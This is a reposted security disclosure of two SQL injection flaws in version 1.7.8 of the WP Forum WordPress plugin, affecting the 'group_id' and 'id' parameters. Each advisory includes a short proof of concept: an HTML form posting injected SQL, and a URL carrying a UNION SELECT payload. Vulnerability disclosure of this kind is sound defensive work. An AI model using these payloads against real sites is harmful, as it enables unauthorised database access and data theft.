WP Forum WordPress Plugin 1.7.8 SQL Injection vulnerability in "group_id" and "id" variable
`=================================
Vulnerability ID: HTB22860
Reference: http://www.htbridge.ch/advisory/sql_injection_in_wp_forum_wordpress_plugin_2.html
Product: WP Forum wordpress plugin
Vendor: Fredrik Fahlstad ( http://www.fahlstad.se/ )
Vulnerable Version: 1.7.8
Vendor Notification: 15 February 2011
Vulnerability Type: SQL Injection
Risk level: High
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
The vulnerability exists due to failure in the "/wp-content/plugins/wpforum/wp-forum.php" script to properly sanitize user-supplied input in "group_id" variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.
The following PoC is available:
<form action="http://[host]/?page_id=[page_id]&forumaction=grlogin_submit" method="post" name="main" >
<input type="hidden" name="group_id" value="SQL_CODE_HERE" />
<input type="submit" value="submit" name="submit" />
</form>
=================================
Vulnerability ID: HTB22859
Reference: http://www.htbridge.ch/advisory/sql_injection_in_wp_forum_wordpress_plugin_1.html
Product: WP Forum wordpress plugin
Vendor: Fredrik Fahlstad ( http://www.fahlstad.se/ )
Vulnerable Version: 1.7.8
Vendor Notification: 15 February 2011
Vulnerability Type: SQL Injection
Risk level: High
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
The vulnerability exists due to failure in the "/wp-content/plugins/wpforum/sendmail.php" script to properly sanitize user-supplied input in "id" variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.
The following PoC is available:
http://[host]/wp-content/plugins/wpforum/sendmail.php?action=quote&id=1%20union%20select%20version(),2,3%20--%20
`
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo